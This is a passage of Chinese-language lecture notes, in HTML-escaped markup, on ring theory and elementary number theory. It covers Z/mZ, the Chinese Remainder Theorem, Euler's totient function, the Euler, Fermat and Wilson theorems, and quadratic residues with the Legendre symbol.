a \cdot b = 0 \quad (b \cdot a = 0)
$$
则称 $a$ 是左 (右) 零因子，左右零因子统称为零因子．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可逆元/单位&lt;/strong&gt;：在幺环中，对于 $a \in R$，若 $\exists, b \in R$，满足
$$
b \cdot a = 1 \quad (a \cdot b = 1)
$$
则称 $a$ 是左 (右) 可逆元/单位，并称 $b$ 是 $a$ 的左 (右) 逆．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消去律&lt;/strong&gt;：环有左 (右) 消去律，当且仅当环中不存在左 (右) 零因子．
&lt;blockquote&gt;
&lt;p&gt;设 $ac = bc$，$c \ne 0$，那么 $(a - b)c = 0$，而且 $c$ 不是右零因子，因此 $a = b$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一个元素不能同时是左 (右) 零因子和左 (右) 可逆元&lt;/strong&gt;．
&lt;blockquote&gt;
&lt;p&gt;(反证法) 假设 $a \ne 0$ 是左零因子，$a^{-1}$ 是 $a$ 的左逆，则存在 $b \ne 0$，导出矛盾：
$$
b = a^{-1}ab = a^{-1}0 = 0
$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;整环&lt;/strong&gt;：非零，含幺，可交换，不存在零因子．
&lt;ul&gt;
&lt;li&gt;由于元素&lt;strong&gt;不一定可逆&lt;/strong&gt;，不能使用除法；&lt;/li&gt;
&lt;li&gt;但零因子不存在，可以使用&lt;strong&gt;消去律&lt;/strong&gt;．&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;除环&lt;/strong&gt;：非零，含幺，所有非零元素都可逆．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域&lt;/strong&gt;：非零，含幺，可交换，所有非零元素都可逆．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;乘法群/单位群&lt;/strong&gt;：在幺环 $(R, +, \cdot)$ 中，设 $R^{\times}$ 为 $R$ 中全体可逆元的集合，易知
$$
(R^{\times}, \cdot)
$$
构成群，称作幺环 $(R, +, \cdot)$ 的乘法群/单位群，记作 $(R, +, \cdot)^{\times}$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;$\mathbb Z / m \mathbb Z$&lt;/h2&gt;
&lt;p&gt;:::note[$\mathbb Z / m \mathbb Z$ 的结构]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\mathbb Z / m \mathbb Z$ 是零环，当且仅当 $m = 1$．&lt;/li&gt;
&lt;li&gt;当 $m &amp;gt; 1$ 时，$\mathbb Z / m \mathbb Z$ 是交换幺环，幺元是 $[1]_m$．&lt;/li&gt;
&lt;li&gt;$[r]_m$ 在 $\mathbb Z / m \mathbb Z$ 可逆，当且仅当 $r \perp m$，此时 $([r]_m)^{-1} = [r^{-1}]_m$．&lt;/li&gt;
&lt;li&gt;若 $m$ 是合数，设其非平凡因数是 $d$，则所有的 $[d]_m$ 都是零因子，其他非零元素 $[r]_m$ 均可逆．&lt;/li&gt;
&lt;li&gt;若 $m$ 是素数，则不存在零因子，且非零元素均可逆，此时 $\mathbb Z / m \mathbb Z$ 是域．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::important[$\mathbb Z / m \mathbb Z$ 的分解]
如同算术基本定理，将任何大于 $1$ 的正整数 $N$ 分解成素数之幂积
$$
N = p_1^{\alpha_1} p_2^{\alpha_2} \cdots p_k^{\alpha_k}
$$
形成
$$
N \mapsto (\alpha_1, \alpha_2, \cdots, \alpha_k)
$$
类似坐标分解的双射．我们也可以将大模数环分解成模数两两互素的小模数环之直积
$$
\mathbb Z / (m_1 m_2 \cdots m_k) \mathbb Z \cong \mathbb Z / m_1 \mathbb Z \times \mathbb Z / m_2 \mathbb Z \times \cdots \times \mathbb Z / m_k \mathbb Z
$$
形成
$$
[r]&lt;em&gt;{m_1 m_2 \cdots m_k} \mapsto ([r]&lt;/em&gt;{m_1}, [r]&lt;em&gt;{m_2}, \cdots, [r]&lt;/em&gt;{m_k})
$$
类似坐标分解的双射以及运算的保持．这意味着&lt;strong&gt;一个模数系统可被分解成多个独立的素数幂模数系统&lt;/strong&gt;．&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;3\4&lt;/th&gt;
&lt;th&gt;0&lt;/th&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;th&gt;3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这样构造的映射是自然的，且不难证明是同态映射，但能构成双射吗？因为同余的运算性质，
$$
[r]&lt;em&gt;{m_1 m_2 \cdots m_k} \sub [r]&lt;/em&gt;{m_1}, [r]&lt;em&gt;{m_2}, \cdots, [r]&lt;/em&gt;{m_k}
$$
每个小环好似一个坐标分量．对于所有的坐标，它们能否唯一确定一个大环？
:::&lt;/p&gt;
&lt;p&gt;:::note[中国剩余定理 (Chinese Remainder Theorem, CRT)]
设 $m_1, m_2, \cdots, m_k \in \mathbb N$ 两两互素，那么对于任意的 $a_1, a_2, \cdots, a_k \in \mathbb Z$，同余方程组
$$
\begin{cases}
x \equiv a_1 \pmod{m_1} \
x \equiv a_2 \pmod{m_2} \
\hspace{1.1em} \vdots \
x \equiv a_k \pmod{m_k}
\end{cases}
$$
在模 $M = m_1 m_2 \cdots m_k$ 意义下有&lt;strong&gt;唯一解 $x_0$&lt;/strong&gt;，即该同余方程组完全等价于同余方程
$$
x \equiv x_0 \pmod{M}
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是说，所有坐标 $([a_1]&lt;em&gt;{m_1}, [a_2]&lt;/em&gt;{m_2}, \cdots, [a_k]_{m_k})$ 都能被还原出唯一的 $[x_0]_M$．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[证明]
假如我们能找到正交基底 $v_1, v_2, \cdots, v_k$，满足
$$
\begin{cases}
v_1 \equiv 1 \pmod{m_1} \
v_1 \equiv 0 \pmod{m_2} \
\hspace{1.4em} \vdots \
v_1 \equiv 0 \pmod{m_k}
\end{cases}
:
\begin{cases}
v_2 \equiv 0 \pmod{m_1} \
v_2 \equiv 1 \pmod{m_2} \
\hspace{1.4em} \vdots \
v_2 \equiv 0 \pmod{m_k}
\end{cases}
:
\cdots
:
\begin{cases}
v_k \equiv 0 \pmod{m_1} \
v_k \equiv 0 \pmod{m_2} \
\hspace{1.4em} \vdots \
v_k \equiv 1 \pmod{m_k}
\end{cases}
$$
便有
$$
\begin{cases}
a_1 v_1 \equiv a_1 \pmod{m_1} \
a_1 v_1 \equiv 0 \pmod{m_2} \
\hspace{2.35em} \vdots \
a_1 v_1 \equiv 0 \pmod{m_k}
\end{cases}
:
\begin{cases}
a_2 v_2 \equiv 0 \pmod{m_1} \
a_2 v_2 \equiv a_2 \pmod{m_2} \
\hspace{2.35em} \vdots \
a_2 v_2 \equiv 0 \pmod{m_k}
\end{cases}
:
\cdots
:
\begin{cases}
a_k v_k \equiv 0 \pmod{m_1} \
a_k v_k \equiv 0 \pmod{m_2} \
\hspace{2.35em} \vdots \
a_k v_k \equiv a_k \pmod{m_k}
\end{cases}
$$
此时
$$
\begin{cases}
a_1 v_1 + a_2 v_2 + \cdots + a_k v_k \equiv a_1 \pmod{m_1} \
a_1 v_1 + a_2 v_2 + \cdots + a_k v_k \equiv a_2 \pmod{m_2} \
\hspace{10.9em} \vdots \
a_1 v_1 + a_2 v_2 + \cdots + a_k v_k \equiv a_k \pmod{m_k}
\end{cases}
$$
得方程组的特解
$$
x_0 = a_1 v_1 + a_2 v_2 + \cdots + a_k v_k
$$
因为通解需要同时满足 $k$ 条同余方程，每条方程解的间隔不一，所以通解的间隔应该为 $\text{lcm}(m_1, m_2, \cdots, m_k)$，即 $M = m_1 m_2 \cdots m_k$，故方程组的解 $x_0$ 在模 $M$ 意义下是唯一的．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;唯一性的证明也可以通过设另一解来证明二者在模 $M$ 意义下相等．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在的问题是如何找到这样的基底？
$$
\begin{cases}
v_i \equiv 0 \pmod{m_1} \
\hspace{1.4em} \vdots \
v_i \equiv 1 \pmod{m_i} \
\hspace{1.4em} \vdots \
v_i \equiv 0 \pmod{m_k}
\end{cases}
$$
首先肯定有 $\left.\dfrac{M}{m_i} ,\middle|, v_i\right.$，然后我们发现 $\dfrac{M}{m_i} \perp m_i$，因此可取
$$
v_i = \Big(\dfrac{M}{m_i}\Big)&lt;em&gt;{m_i}^{-1} \cdot \dfrac{M}{m_i}
$$
如此便得正交基底，此时
$$
x_0 =
a_1 \cdot \Big(\dfrac{M}{m_1}\Big)&lt;/em&gt;{m_1}^{-1} \cdot \dfrac{M}{m_1} +
a_2 \cdot \Big(\dfrac{M}{m_2}\Big)&lt;em&gt;{m_2}^{-1} \cdot \dfrac{M}{m_2} +
\cdots +
a_k \cdot \Big(\dfrac{M}{m_k}\Big)&lt;/em&gt;{m_k}^{-1} \cdot \dfrac{M}{m_k}
$$
便得到模 $M$ 意义下的唯一解．
:::&lt;/p&gt;
&lt;h2&gt;$(\mathbb Z / m \mathbb Z)^\times$&lt;/h2&gt;
&lt;p&gt;:::note[$(\mathbb Z / m \mathbb Z)^\times$]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$(\mathbb Z / m \mathbb Z, \cdot)$ 仅仅是交换幺半群，因为元素不一定都可逆，比如 $[0]_m$，$[a]_m$ ($a$ 与 $m$ 不互素)．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模 $m$ 乘法群&lt;/strong&gt; $(\mathbb Z / m \mathbb Z)^\times$ 是交换群，所有元素均可逆．&lt;/li&gt;
&lt;li&gt;$(\mathbb Z / p \mathbb Z)^\times$ 是循环群，即 $(\mathbb Z / p \mathbb Z)^\times \cong C_{p-1}$，$p$ 是素数．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::important[$(\mathbb Z / m \mathbb Z)^\times$ 的形式]
根据模 $m$ 意义下可逆的条件，我们有
$$
(\mathbb Z / m \mathbb Z)^\times = ({[r]_m : r \perp m}, \cdot)
$$
由于 $(\mathbb Z / m \mathbb Z)^\times$ 是群，运算的封闭性可以导出 Euclid 互素定理：$a \perp m$ 且 $b \perp m$，当且仅当 $ab \perp m$．
:::&lt;/p&gt;
&lt;p&gt;:::important[$(\mathbb Z / m \mathbb Z)^\times$ 的分解]
根据 Euclid 互素定理，$r \perp M$ 当且仅当 $r \perp m_i$，$i \in {1, \cdots, k}$．&lt;br /&gt;
也就是说，$[r]&lt;em&gt;M \in (\mathbb Z / M \mathbb Z)^\times$ 当且仅当 $[r]&lt;/em&gt;{m_i} \in (\mathbb Z / m_i \mathbb Z)^\times$，$i \in {1, \cdots, k}$．于是
$$
\mathbb Z / M \mathbb Z \cong \mathbb Z / m_1 \mathbb Z \times \mathbb Z / m_2 \mathbb Z \times \cdots \times \mathbb Z / m_k \mathbb Z
$$
将保持至
$$
(\mathbb Z / M \mathbb Z)^{\times} \cong (\mathbb Z / m_1 \mathbb Z)^{\times} \times (\mathbb Z / m_2 \mathbb Z)^{\times} \times \cdots \times (\mathbb Z / m_k \mathbb Z)^{\times}
$$&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;4\9&lt;/th&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;th&gt;4&lt;/th&gt;
&lt;th&gt;5&lt;/th&gt;
&lt;th&gt;7&lt;/th&gt;
&lt;th&gt;8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note[$(\mathbb Z / m \mathbb Z)^\times$ 的阶数]
对于 $n \in \mathbb N$，定义 &lt;strong&gt;Euler 函数&lt;/strong&gt;
$$
\begin{aligned}
\varphi(n) &amp;amp;= \left|(\mathbb Z / n \mathbb Z)^\times\right| \
&amp;amp;= #{0 \le k &amp;lt; n : \gcd(k, n) = 1}
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\varphi(1) = 1$，此时 $(\mathbb Z / m \mathbb Z)^\times$ 是平凡群，仅含 $[0]_m$．&lt;/li&gt;
&lt;li&gt;当 $p$ 是素数时，$\varphi(p) = p - 1$．&lt;/li&gt;
&lt;li&gt;当 $p$ 是素数时，$\varphi(p^k) = p^k - p^{k-1} = p^k \Big(1 - \dfrac{1}{p}\Big)$．&lt;/li&gt;
&lt;li&gt;当 $m \perp n$ 时，$\varphi(mn) = \varphi(m) \varphi(n)$．&lt;/li&gt;
&lt;li&gt;$\varphi(n) = n \displaystyle\prod_{p \mid n} \Big(1 - \dfrac{1}{p}\Big)$，$n &amp;gt; 1$，$p$ 是素数．&lt;/li&gt;
&lt;li&gt;$\displaystyle\sum_{d \mid n} \varphi(d) = n$，$n \in \mathbb N$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 2 的证明]
注意到 $\gcd(0, p) = p \ne 1$，$\gcd(k, p) = 1$，$k \in {1, \cdots, p - 1}$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 3 的证明]
由 Euclid 互素定理，$\gcd(a, p^k) = 1$ 当且仅当 $\gcd(a, p) = 1$，于是
$$
\begin{aligned}
\varphi(p^k) &amp;amp;= #{0 \le a &amp;lt; p^k : \gcd(a, p^k) = 1} \
&amp;amp;= #{0 \le a &amp;lt; p^k : \gcd(a, p) = 1} \
&amp;amp;= p^k - #{0 \le a &amp;lt; p^k : \gcd(a, p) &amp;gt; 1} \
&amp;amp;= p^k - #{0 \le a &amp;lt; p^k : \gcd(a, p) = p} \
&amp;amp;= p^k - #{0 \le a &amp;lt; p^k : p \mid a} \
&amp;amp;= p^k - #{0p, 1p, \cdots, p^{k-2}p} \
&amp;amp;= p^k - p^{k-1}
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 4 的证明]
$m \perp n$，因此对 $(\mathbb Z / mn \mathbb Z)^{\times}$ 进行分解
$$
\begin{aligned}
(\mathbb Z / mn \mathbb Z)^{\times} &amp;amp;\cong (\mathbb Z / m \mathbb Z)^{\times} \times (\mathbb Z / n \mathbb Z)^{\times} \
\left|(\mathbb Z / mn \mathbb Z)^{\times}\right| &amp;amp;= \left|(\mathbb Z / m \mathbb Z)^{\times}\right| \cdot \left|(\mathbb Z / n \mathbb Z)^{\times}\right| \
\varphi(mn) &amp;amp;= \varphi(m) \varphi(n)
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 5 的证明]
$n &amp;gt; 1$，由算术基本定理
$$
\varphi(n) = \varphi\Big(\prod_{i=1}^{k} p_i^{\alpha_i}\Big)
= \prod_{i=1}^k \varphi(p_i^{\alpha_i})
= \prod_{i=1}^k p_i^{\alpha_i} \Big(1 - \dfrac{1}{p_i}\Big)
= n \prod_{p \mid n} \Big(1 - \dfrac{1}{p}\Big)
$$
$p$ 是素数．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 6 的证明]
先回顾循环群 $G$ 的性质：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对于所有的 $d \mid |G|$，总存在唯一的 $d$ 阶子群；&lt;/li&gt;
&lt;li&gt;循环群的子群仍是循环群；&lt;/li&gt;
&lt;li&gt;恰有 $\phi(|G|)$ 个生成元．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;今按阶数给 $\mathbb Z / n \mathbb Z$ 里 $n$ 个数分类：关注阶数为 $d$ 的数，它们都对应了各自阶为 $d$ 的生成子群．&lt;br /&gt;
但 $\mathbb Z / n \mathbb Z$ 加法群是循环群，其阶为 $d$ 的子群 $H$ 有且仅有一个．&lt;br /&gt;
因此所有阶数为 $d$ 的数都成为了循环群 $H$ 的生成元，共有 $\varphi(d)$ 个．&lt;br /&gt;
另外，根据有限群的 Lagrange 定理，$d \mid n$．
$$
\begin{aligned}
n &amp;amp;= |\mathbb Z / n \mathbb Z| = \sum_{d \mid n} #{0 \le k &amp;lt; n : \text{ord}&lt;em&gt;n(k) = d} \
&amp;amp;= \sum&lt;/em&gt;{d \mid n} #{ h : \langle h \rangle = H, H \le \mathbb Z / n \mathbb Z, |H| = d } = \sum_{d \mid n} \varphi(d)
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::note[$(\mathbb Z / m \mathbb Z)^\times$ 的幂结构]
任取 $[a]_m \in (\mathbb Z / m \mathbb Z)^{\times}$，其中 $m &amp;gt; 1$，$0 \le a &amp;lt; m$，$\gcd(a, m) = 1$．&lt;br /&gt;
研究 $[a]_m$ 的阶数 $\text{ord}_m(a)$：考虑到非平凡群 $(\mathbb Z / m \mathbb Z)^{\times}$ 的幺元是 $[1]_m$，便有
$$
a^{\text{ord}_m(a)} \equiv 1 \pmod m
$$
于是我们可以对任何幂 $[a]_m^n$ 进行带余除法 ($0 \le r &amp;lt; \text{ord}_m(a)$)
$$
a^n = a^{q \cdot \text{ord}_m(a) + r} = {\big(a^{\text{ord}_m(a)}\big)}^{q} \cdot a^r \equiv a^r \pmod m
$$
:::&lt;/p&gt;
&lt;p&gt;:::important[结论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$a^n \equiv 1 \pmod m$，当且仅当 $\text{ord}_m(a) \mid n$，其中 $m &amp;gt; 1$，$0 \le a &amp;lt; m$，$\gcd(a, m) = 1$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;Euler 定理&lt;/strong&gt;) $a^{\varphi(m)} \equiv 1 \pmod m$，其中 $m &amp;gt; 1$，$a \in \mathbb Z$，$\gcd(a, m) = 1$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;Fermat 小定理&lt;/strong&gt;) $a^{p-1} \equiv 1 \pmod p$，其中 $p$ 是素数，$p &amp;gt; 1$，$a \in \mathbb Z$，$p \nmid a$．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;感受 Euler 定理：在 $(\mathbb Z / 10 \mathbb Z)^{\times} = {[1]_m, [3]_m, [7]_m, [9]_m}$ 中，
$$
1^4 \equiv 3^4 \equiv 7^4 \equiv 9^4 \equiv 1 \pmod{10}
$$
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[Euler 定理的证明]
设 $0 \le a &amp;lt; m$，$(\mathbb Z / m \mathbb Z)^{\times}$ 的阶数是 $\varphi(m)$，生成子群 $\langle [a]_m \rangle$ 阶数等于 $\text{ord}_m(a)$．&lt;br /&gt;
根据有限群的 &lt;strong&gt;Lagrange 定理&lt;/strong&gt;，我们有 $\text{ord}_m(a) \mid \varphi(m)$，于是得到
$$
a^{\varphi(m)} \equiv 1 \pmod m
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可不必 $a \in (\mathbb Z / m \mathbb Z)^{\times}$ ($0 \le a &amp;lt; m$)：不妨设 $b \in \mathbb Z$ 满足 $b \equiv a \pmod m$，那么
$$
b^{\varphi(m)} \equiv a^{\varphi(m)} \equiv 1 \pmod m
$$
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note[原根]
设 $m &amp;gt; 1$，$0 \le g &amp;lt; m$，$\gcd(g, m) = 1$，若 $\text{ord}_m(g) = \varphi(m)$，则称 $g$ 是模 $m$ 的&lt;strong&gt;原根&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::important[性质]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;模 $m$ 的原根存在，当且仅当 $(\mathbb Z / m \mathbb Z)^\times$ 是循环群，此时 $[g]_m$ 是循环群 $(\mathbb Z / m \mathbb Z)^\times$ 的生成元．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;$(\mathbb Z / p \mathbb Z)^\times$&lt;/h2&gt;
&lt;p&gt;:::note[$(\mathbb Z / p \mathbb Z)^\times$ 里的逆元配对]
设 $p$ 是素数．不难证明
$$
\begin{aligned}
f: (\mathbb Z / p \mathbb Z)^\times &amp;amp;\rightarrow (\mathbb Z / p \mathbb Z)^\times \
a &amp;amp;\mapsto a^{-1}
\end{aligned}
$$
是双射．此时分两种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$a^{-1} \not\equiv a \pmod p$；&lt;/li&gt;
&lt;li&gt;$a^{-1} \equiv a \pmod p$，即 $a^2 \equiv 1 \pmod p$，当且仅当 $a \equiv \pm 1 \pmod p$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是我们得知，在 $(\mathbb Z / p \mathbb Z)^\times$ 里，仅有 $[1]_p$ 和 $[p - 1]_p$ 的逆元是其自身，其他数两两配对，互为逆元．
:::&lt;/p&gt;
&lt;p&gt;:::important[Wilson 定理]
设素数 $p &amp;gt; 2$，则
$$
(p - 1)! \equiv -1 \pmod p
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
由于 $(\mathbb Z / p \mathbb Z)^\times$ 里逆元的配对
$$
\begin{aligned}
(p - 1)! &amp;amp;= 1 \cdot \underbrace{2 \cdot \cdots \cdot (p - 2)}_{\text{pairs}} \cdot (p - 1) \
&amp;amp;\equiv 1 \cdot (p - 1) \
&amp;amp;\equiv -1 \pmod p
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::note[二次同余方程]
前面我们已经完全掌握了线性同余方程解的情况．&lt;/p&gt;
&lt;p&gt;设素数 $p &amp;gt; 2$，$a, b, c \in \mathbb Z$，$a \perp p$ (即 $p \nmid a$)，欲解二次同余方程
$$
ax^2 + bx + c \equiv 0 \pmod p
$$
尝试配方：为了避免求解 $a$ 的平方根，两边同时乘以 $4a$，前后两式的等价性由 $4a \perp p$ 保证：
$$
(2ax + b)^2 \equiv (b^2 - 4ac) \pmod p
$$
记 $y = 2ax + b$，$\Delta = b^2 - 4ac$，则
$$
y^2 \equiv \Delta \pmod p
$$
这意味着我们必须去研究这个方程解的存在性：怎样的 $\Delta$，才能作为模 $p$ 意义下的平方数？
:::&lt;/p&gt;
&lt;p&gt;:::tip[观察 $\mathbf{QR}$]
$\mathbb Z_{13}^*$ 的平方数如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;th&gt;3&lt;/th&gt;
&lt;th&gt;4&lt;/th&gt;
&lt;th&gt;5&lt;/th&gt;
&lt;th&gt;6&lt;/th&gt;
&lt;th&gt;7&lt;/th&gt;
&lt;th&gt;8&lt;/th&gt;
&lt;th&gt;9&lt;/th&gt;
&lt;th&gt;10&lt;/th&gt;
&lt;th&gt;11&lt;/th&gt;
&lt;th&gt;12&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;只有 ${1, 3, 4, 9, 10, 12}$ 这些数才能作为平方数在模 $13$ 意义下被开根．
:::&lt;/p&gt;
&lt;p&gt;:::note[二次剩余]
设素数 $p &amp;gt; 2$，$a \in \mathbb Z$，$p \nmid a$，若
$$
\exists, x \in \mathbb Z, \quad a \equiv x^2 \pmod p
$$
则称 $a$ 是模 $p$ 的&lt;strong&gt;二次剩余($\mathbf{QR}$)&lt;/strong&gt;，否则是&lt;strong&gt;二次非剩余($\mathbf{QNR}$)&lt;/strong&gt;．记
$$
\begin{aligned}
\mathbb{QR}_p  &amp;amp;= {[a]_p : \exists, x \in \mathbb Z, : a \equiv x^2 \pmod p} \
\mathbb{QNR}_p &amp;amp;= (\mathbb Z / p \mathbb Z)^\times \setminus \mathbb{QR}_p
\end{aligned}
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[初探 $\mathbb{QR}_p$]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$1$ 总是 $\mathbf{QR}$．&lt;/li&gt;
&lt;li&gt;$\mathbb{QR}_p$ 在 $(\mathbb Z / p \mathbb Z)^\times$ 上对称分布．
&lt;blockquote&gt;
&lt;p&gt;设素数 $p &amp;gt; 2$，$p \nmid a$，因为 $(p - b)^2 \equiv b^2 \pmod p$ 总成立，所以方程
$$
x^2 \equiv a \pmod p
$$
&lt;strong&gt;或无解&lt;/strong&gt;，或至少有两个不同余解．下面将说明：&lt;strong&gt;若有解，则仅有两解&lt;/strong&gt;．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;任取两解 $x_1^2 \equiv x_2^2 \equiv a \pmod p$ 得
$$
x_1^2 - x_2^2 = (x_1 + x_2)(x_1 - x_2) \equiv 0 \pmod p
$$
这意味着任取两解，形式都仅有两种：$x_1 \equiv \pm x_2 \pmod p$．&lt;br /&gt;
因此所有解都仅有该两种形式，方程有且仅有两个不同余解．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;设素数 $p &amp;gt; 2$，则 $#\mathbb{QR}_p = #\mathbb{QNR}_p = (p - 1) / 2$，其中
$$
\mathbb{QR}_p = {[1^2]_p, [2^2]_p, \cdots, [((p - 1) / 2)^2]_p}
$$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note[Legendre 符号]
容易验证 $\mathbf{QR}$ 和 $\mathbf{QNR}$ 之间的运算呈现出类似 ${-1, 1}$ 模 $p$ 乘法群的形式
$$
\begin{aligned}
\mathbf{QR} \cdot \mathbf{QR}   &amp;amp;= \mathbf{QR} \
\mathbf{QR} \cdot \mathbf{QNR}  &amp;amp;= \mathbf{QNR} \
\mathbf{QNR} \cdot \mathbf{QR}  &amp;amp;= \mathbf{QNR} \
\mathbf{QNR} \cdot \mathbf{QNR} &amp;amp;= \mathbf{QR} \
\end{aligned}
$$
于是我们定义 &lt;strong&gt;Legendre 符号&lt;/strong&gt; (素数 $p &amp;gt; 2$)
$$
\Big(\dfrac{a}{p}\Big) =
\begin{cases}
-1, &amp;amp; a :\text{是模}: p :\text{的}: \mathbf{QNR} \
0, &amp;amp; p \mid a \
1, &amp;amp; a :\text{是模}: p :\text{的}: \mathbf{QR} \
\end{cases}
$$
容易验证
$$
\begin{aligned}
\psi: (\mathbb Z / p \mathbb Z)^\times &amp;amp;\rightarrow {-1, 1} \
[a]_p &amp;amp;\mapsto \Big(\dfrac{a}{p}\Big)
\end{aligned}
$$
是满同态，于是我们可以用代数的方法研究二次剩余．
:::&lt;/p&gt;
&lt;p&gt;:::important[满同态保持的积性]
素数 $p &amp;gt; 2$，$a,b \in \mathbb Z$，$p \nmid a, b$，我们有
$$
\Big(\dfrac{a}{p}\Big)\Big(\dfrac{b}{p}\Big) = \Big(\dfrac{ab}{p}\Big)
$$
特别地，根据定义，$(\frac{a^2}{p}) = 1$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[再探 $\mathbb{QR}_p$]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\mathbb{QR}_p$ 在乘法上构成 $(\mathbb Z / p \mathbb Z)^\times$ 的子群．&lt;/li&gt;
&lt;li&gt;容易验证
$$
\begin{aligned}
